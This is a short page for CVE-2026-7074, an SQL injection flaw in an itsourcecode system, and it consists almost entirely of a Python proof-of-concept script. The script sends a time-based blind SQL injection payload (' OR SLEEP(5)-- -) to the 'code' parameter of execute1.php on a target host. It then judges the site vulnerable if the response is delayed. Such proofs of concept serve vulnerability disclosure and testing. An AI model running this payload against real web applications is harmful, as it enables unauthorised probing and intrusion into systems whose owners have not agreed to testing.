CVE-2026-7074: itsourcecode系统SQL注入漏洞

import requests def check_sqli(url): target = f"{url}/execute1.php" # Payload for time-based blind SQL injection payload = "' OR SLEEP(5)-- -" params = {'code': payload} try: print(f"[+] Sending request to {target}...") response = requests.get(target, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Vulnerability not detected.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target_host = "http://example.com" # Replace with actual target check_sqli(target_host)